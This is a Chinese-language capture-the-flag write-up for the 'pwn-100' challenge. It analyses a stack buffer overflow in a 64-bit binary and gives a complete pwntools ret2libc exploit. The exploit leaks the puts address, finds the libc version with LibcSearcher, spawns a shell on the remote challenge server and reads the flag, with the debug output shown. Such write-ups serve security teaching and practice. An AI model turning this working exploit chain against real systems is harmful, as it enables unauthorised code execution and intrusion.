漏洞分析

题目

查看保护

1
2
3
4
5
6
7
8
┌──(root💀06aa46c0844f)-[/home]
└─# checksec pwn-100
[*] '/home/pwn-100'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main

1
2
3
4
5
6
7
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
sub_40068E();
return 0LL;
}

sub_40068E,v1的空间只有0x40个字节,然而后面sub_40064D调用传入了200,疑似存在栈溢出可以利用

1
2
3
4
5
6
7
int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]

sub_40063D((__int64)&v1, 200);
return puts("bye~");
}

果然,sub_40064D就是用来循环200次来覆盖v1的,必须输入200个字节,这里空行不会中断!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}

但是程序并没有”/bin/sh”字符串和system函数的地址,属于ret2libc

image-20211130174224966

但下载下来的程序并没有给libc文件,因此需要我们通过一定手段去泄露某个函数的真实地址,再去查libc版本

此题可以通过打印puts的真实地址,然后去查libc版本号

思路

反汇编可以看出,在调用puts函数之前,会把参数传给edi(而不是压栈),因为是64位程序

1
2
.text:00000000004006AC                 mov     edi, offset s   ; "bye~"
.text:00000000004006B1 call _puts

所以我们构造出来的第一个payload用来泄露puts函数的真实地址

payload1 = 字符填充 + 覆盖rbp + gadget上pop rdi 、ret + got表中的puts(用来作为puts打印的参数了) + plt表中puts的偏移 + start返回地址

这里需要说明一下为什么是start作为返回地址,因为main并不是此程序真正的开头,如果直接用main会导致栈结构发生变化

在通过发送payload1之后,我们获取到了puts的真实地址,然后可以根据puts的真实地址(虽然是地址随机化保护,但后三位是不变的)可以根据这个特征去查询libc版本,这里给出用LibcSearcher的方式(需要安装)

安装LibcSearcher

在sudo权限下才行

1
2
3
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

使用方式

声明

from LibcSearcher import *

在获取了puts的真实地址后,可以通过libc = LibcSearcher("puts", puts_leak)来获取可能的libc版本,如运行后:

1
2
3
4
5
6
7
8
9
10
11
12
[+] puts_leak:0x7fcbb887a690
Multi Results:
0: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2_i386)
1: archive-old-glibc (id libc6-amd64_2.24-3ubuntu1_i386)
2: archive-old-glibc (id libc6-amd64_2.24-3ubuntu2.2_i386)
3: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
4: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2.2_i386)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:3
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.

在上面确定了libc版本后,可以通过libc.dump("system")获取libc中的函数地址

通过libc.dump("str_bin_sh")获取”/bin/sh”的地址

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# encoding: utf-8
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
context(os='linux',arch='amd64')


if __name__ == '__main__':
r = remote("111.200.241.244", 50713)
elf = ELF("./pwn-100")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400763
start_addr = 0x400550

#泄露puts的真实地址
payload1 = 'a'*0x40 + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
payload1 = payload1.ljust(200, 'a')
r.send(payload1)
r.recvuntil("bye~\n")
puts_leak = u64(r.recv(6).ljust(8,'\x00'))
log.success("puts_leak:" + hex(puts_leak))

#找出libc、计算基地址
libc = LibcSearcher("puts", puts_leak)
libc_base = puts_leak - libc.dump("puts")

#计算出system、bin_sh的实际地址
system_addr = libc_base + libc.dump("system")
sh_addr = libc.dump("str_bin_sh") + libc_base

#Attack
payload2 = 'a'*0x40 + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)
payload2 = payload2.ljust(200, 'a')
r.send(payload2)
r.interactive()

打通!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x24 bytes:
'bin\n'
'dev\n'
'flag\n'
'lib\n'
'lib32\n'
'lib64\n'
'pwn100\n'
bin
dev
flag
lib
lib32
lib64
pwn100
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x2d bytes:
'cyberpeace{7567cb998ece8cb0b985c0c80431e93d}\n'
cyberpeace{7567cb998ece8cb0b985c0c80431e93d}
[*] Got EOF while reading in interactive
$